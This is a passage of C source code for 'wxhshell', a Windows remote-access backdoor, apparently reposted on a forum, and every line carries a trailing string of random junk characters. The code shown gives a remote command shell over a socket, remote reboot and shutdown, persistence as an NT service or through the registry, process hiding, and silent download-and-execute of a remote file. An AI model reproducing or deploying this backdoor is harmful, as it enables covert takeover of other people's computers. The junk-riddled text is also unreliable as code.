  // 帮助 ccAEN  
  case '?': { )\^OI:E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7lu;lAAP  
    break; H;`@SJBf  
  } GvY8O|a  
  // 安装 u e~1144  
  case 'i': { zV#k #/$  
    if(Install()) St<\qC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Z{[.&x  
    else p*A//^wQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dl6zl6q?  
    break; 1|CO>)*D  
    } je\UfEo%  
  // 卸载 (ol 3vt  
  case 'r': { l|9`22G  
    if(Uninstall()) QH:i)v*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Tolz H!  
    else ;$]R#1i44  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WxdYvmp6z[  
    break; ;H.r6  
    } $[e*0!e  
  // 显示 wxhshell 所在路径 r@aFB@   
  case 'p': { S7R^%Wck/6  
    char svExeFile[MAX_PATH]; WObfHAp.  
    strcpy(svExeFile,"\n\r"); K\PS$  
      strcat(svExeFile,ExeFile); x($1pAE  
        send(wsh,svExeFile,strlen(svExeFile),0); gV0ZZ"M  
    break; i7_BnJJX{B  
    } N]~q@x;<)3  
  // 重启 fpUX @b  
  case 'b': { "]% L{a P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j*nCIxF  
    if(Boot(REBOOT)) ^z1WPI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); APy a&TG  
    else { yL1\V7GI{[  
    closesocket(wsh); O;r8l+  
    ExitThread(0); #0tM88Wi  
    } MwZ`NH|n3"  
    break; 0@KBQv"v  
    } aqlYB7  
  // 关机 mz''-1YY$  
  case 'd': { ?*g]27f11  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2C>PxA6l  
    if(Boot(SHUTDOWN)) }v{F9dv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "[G P)nC  
    else { ~ lS3+H  
    closesocket(wsh); M II]sF  
    ExitThread(0); zKZ6Qjd8!  
    } 8u4]@tJH  
    break; 4YJs4CB  
    } LQ._?35r  
  // 获取shell );C !:?  
  case 's': { ;J<kG@  
    CmdShell(wsh); : &]%E/  
    closesocket(wsh); : f Wh7X3  
    ExitThread(0); f3O3pIA  
    break; U i;o/Z3  
  } h&XyMm9C  
  // 退出 N4r`czoj  
  case 'x': { }x+{=%~N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &Jj ?C  
    CloseIt(wsh); &p*N8S8  
    break; MTQdyTDHl  
    } [}Nfs3IlBw  
  // 离开 ($-o"y"x  
  case 'q': { /bVI'fT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }'3V(;9  
    closesocket(wsh); 'del|"h!M  
    WSACleanup(); i/->g:47P  
    exit(1); umj7-fh  
    break; v/)dsSNZ0u  
        } 6@ + >UZr\  
  } r$+9grm<  
  } b'G4KNW  
6SpkeXL  
  // 提示信息 5s0H4?S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X"R;/tZ S4  
} 3Vhm$y%Td  
  } joa$Y6  
2'++G[z  
  return; -y~JNDS1]  
} }[1I_)  
TJCoID7a8  
// shell模块句柄 3Z`oI#-x  
int CmdShell(SOCKET sock) 4Hu.o7  
{ p B )nQ5l'  
STARTUPINFO si; 6(wpf^br2  
ZeroMemory(&si,sizeof(si)); 1iz\8R:0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sI`Lsd'V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^<< Wqmx  
PROCESS_INFORMATION ProcessInfo; ^LZU><{';  
char cmdline[]="cmd"; " jy'Dpy0m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); atY m.qb  
  return 0; K@h v[4  
} ")TI,a`  
)y8$-"D(it  
// 自身启动模式 z\v\T|C  
int StartFromService(void) 5}1cNp6@  
{ rZ^DiFR  
typedef struct QjPcfR\  
{ ' e-FJ')|  
  DWORD ExitStatus;  N3E=t#n  
  DWORD PebBaseAddress; o zv><e#  
  DWORD AffinityMask; Lq yY??\@  
  DWORD BasePriority; _m@QeO'yh  
  ULONG UniqueProcessId; K'y;j~`-  
  ULONG InheritedFromUniqueProcessId; :.@gd7T  
}   PROCESS_BASIC_INFORMATION; z}Xn>-N-  
?g!py[CrE  
PROCNTQSIP NtQueryInformationProcess; norWNm(n  
h!$W^Tm2g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :?&N/ 7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7D4P= $UJp  
aRR*<dY  
  HANDLE             hProcess; zK33.HY  
  PROCESS_BASIC_INFORMATION pbi; #b:8-Lt:M  
kz+P?mopm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); op[5]tjL  
  if(NULL == hInst ) return 0; KyDQ<Dq&  
=6/0=a[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0,,x|g$TpT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C:W}hA!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !J.qH%S5   
m7fmQUk  
  if (!NtQueryInformationProcess) return 0; ze]2-B4  
7kHEY5s "  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B;L~ hM  
  if(!hProcess) return 0; Qb6s]QZEV  
C";F's)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qu!Lc:oM?  
nKch _Jb  
  CloseHandle(hProcess); 8LB+}N(8f  
|eJ4"OPC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M&xfQNE   
if(hProcess==NULL) return 0; m>~%. (/x  
cs,%Zk.xjw  
HMODULE hMod; <$_B J2Z  
char procName[255]; ]7Tjt A.\q  
unsigned long cbNeeded; Wn<3|`c  
,qyH B2v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dtr8u  
MWu67">"  
  CloseHandle(hProcess); m8fxDepFA  
UV$v:>K#  
if(strstr(procName,"services")) return 1; // 以服务启动 0d~>zKho  
2vT>hC?oHz  
  return 0; // 注册表启动 nUD)G<v  
} ,i e84o  
7 i,}F|#8  
// 主模块 sd xl@  
int StartWxhshell(LPSTR lpCmdLine) s7#w5fe  
{ @u#Tx%  
  SOCKET wsl; EJ"[{AV  
BOOL val=TRUE; XX#YiG4|J  
  int port=0; '3 5w(  
  struct sockaddr_in door; Jn-iIl  
ul1#_xp  
  if(wscfg.ws_autoins) Install(); 5Jlz$]f  
tUH#%  
port=atoi(lpCmdLine); Y]Td+ Zi  
+2 !F6"hP  
if(port<=0) port=wscfg.ws_port; ~bhesWk8!  
XTyJ*`>  
  WSADATA data; }hv>LL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 22)2o lU  
7FMO' 'x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q0,Diouq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7'k+/rAO  
  door.sin_family = AF_INET; (%D*S_m'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I MpEp}7  
  door.sin_port = htons(port); HI*xk  
dUyit-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $_%yr ~2  
closesocket(wsl); l 2y_Nz-;  
return 1; AtGk _tpVZ  
} ppP7jiGo  
"X=l7{c/  
  if(listen(wsl,2) == INVALID_SOCKET) { =0cyGo  
closesocket(wsl); -y;SR+  
return 1; 3XjM@D  
} hlWTsi4N  
  Wxhshell(wsl); Xkk m~sM6  
  WSACleanup(); eYLeytF]Uy  
X!Xl  
return 0; ?KDI'>"-v  
R-+k>_96|  
} HZ* <BjE:"  
sluR @[l  
// 以NT服务方式启动 -Zh`h8gX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GcmN40  
{ `}Ssc-A  
DWORD   status = 0; ' !>t( Sa  
  DWORD   specificError = 0xfffffff; 21_>|EKp  
Wt*&_+ae  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D7T(B=S6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hosw :%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?aR)dQ  
  serviceStatus.dwWin32ExitCode     = 0; t:X\`.W  
  serviceStatus.dwServiceSpecificExitCode = 0; ]{;=<t6  
  serviceStatus.dwCheckPoint       = 0; }D-h=,];  
  serviceStatus.dwWaitHint       = 0; pHSq,XP-  
()i8 Qepo}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rf?Q# KM\W  
  if (hServiceStatusHandle==0) return; f^\qDvPur  
Q5b~5a  
status = GetLastError(); F?TxViL  
  if (status!=NO_ERROR) Z6#}6Y{  
{ L?T%;VdG'>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?]+{2&&$  
    serviceStatus.dwCheckPoint       = 0; v0&E!4q*'  
    serviceStatus.dwWaitHint       = 0; AX! YB'm-  
    serviceStatus.dwWin32ExitCode     = status; Uax[Zh[Cg  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~vgm; O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zBg>I=hiG  
    return; R`sU5:n  
  } >jMq-#*4  
i'aV=E5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %9Br  
  serviceStatus.dwCheckPoint       = 0; E(N?.i-%$  
  serviceStatus.dwWaitHint       = 0; 7m3|2Qv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T>,3V:X  
} s_xWvx8?4.  
_PUgK\  
// 处理NT服务事件,比如:启动、停止 ;dgxeP;mp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) # Un>g4>Rh  
{ :I*G tq   
switch(fdwControl) 7)aitDD  
{ AvnK?*5!@  
case SERVICE_CONTROL_STOP: MW*@fl<@?M  
  serviceStatus.dwWin32ExitCode = 0; +c$]Q-(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uSh!A  
  serviceStatus.dwCheckPoint   = 0; %5.aC|^}  
  serviceStatus.dwWaitHint     = 0; oU[Ba8qh  
  { y8=p;7DY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s8 S[w   
  } jSNUU.lur  
  return; S3EM6`q'  
case SERVICE_CONTROL_PAUSE: F=)9z+l#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ln-/ 9'^  
  break; ~H"Q5Hr   
case SERVICE_CONTROL_CONTINUE: Q[?O+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ODa+s>a`^  
  break; [^sv.  
case SERVICE_CONTROL_INTERROGATE: 0Yk@O) x  
  break; k1Cx~Q)XC  
}; xdw"JS}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k=">2!O/  
} 6M^P]l  
baJ(Iy$XT  
// 标准应用程序主函数 T;!7GW4E ?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pt[H5  
{ MR:GH.uM:  
mqxgrb7  
// 获取操作系统版本 T4MB~5,i  
OsIsNt=GetOsVer(); &-^|n*=g6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k+Ew+j1_  
=[{YI2S  
  // 从命令行安装 78a!@T1#  
  if(strpbrk(lpCmdLine,"iI")) Install();  "";[U  
W+N9~.q\^  
  // 下载执行文件 #lDf8G|ST~  
if(wscfg.ws_downexe) { Z +%Uwj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \z'A6@  
  WinExec(wscfg.ws_filenam,SW_HIDE); []B9Me  
} 1HOYp*{#wP  
?S&pq?   
if(!OsIsNt) { ukM11LD5x  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;:(kVdb  
HideProc(); my+y<C-o`  
StartWxhshell(lpCmdLine); }2dz];bR  
} Bc1[^{`bq^  
else bMWL^*I  
  if(StartFromService()) Gd^K,3:. T  
  // 以服务方式启动 LvP{"K;   
  StartServiceCtrlDispatcher(DispatchTable); |KSd@   
else Fh  t$7V  
  // 普通方式启动 Z#H] yG  
  StartWxhshell(lpCmdLine); q:2Vw`g'  
9v[cy`\  
return 0;  cTpmklq  
}
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只看该作者 1 发表于: 2006-10-10
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